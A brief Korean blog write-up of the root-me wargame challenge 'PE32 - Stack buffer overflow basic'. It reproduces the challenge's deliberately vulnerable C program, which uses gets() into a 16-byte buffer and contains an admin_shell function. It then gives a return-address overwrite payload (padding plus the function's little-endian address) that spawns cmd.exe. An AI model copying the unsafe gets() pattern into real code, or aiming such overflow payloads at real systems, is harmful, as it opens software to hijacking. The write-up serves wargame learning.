워게임/root-me

PE32 - Stack buffer overflow basic

zz! 2025. 8. 8. 23:47
728x90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
 
#define DEFAULT_LEN 16
 
void admin_shell(void)
{
        system("C:\\Windows\\system32\\cmd.exe");
}
 
int main(void)
{
        char buff[DEFAULT_LEN] = {0};
 
        gets(buff);
        for (int i = 0; i < DEFAULT_LEN; i++) {
                buff[i] = toupper(buff[i]);
        }
        printf("%s\n", buff);
}

 

서버에 존재하는 pe파일을 옮겨서 ida로 실행한다.

이게 admin_shell 함수의 주소이다.

버퍼

ebp-14h

 

payload = 'a' * 0x14 + 'b' * 0x4 + 00401000(당연히 리틀엔디안으로 넣고)

 

728x90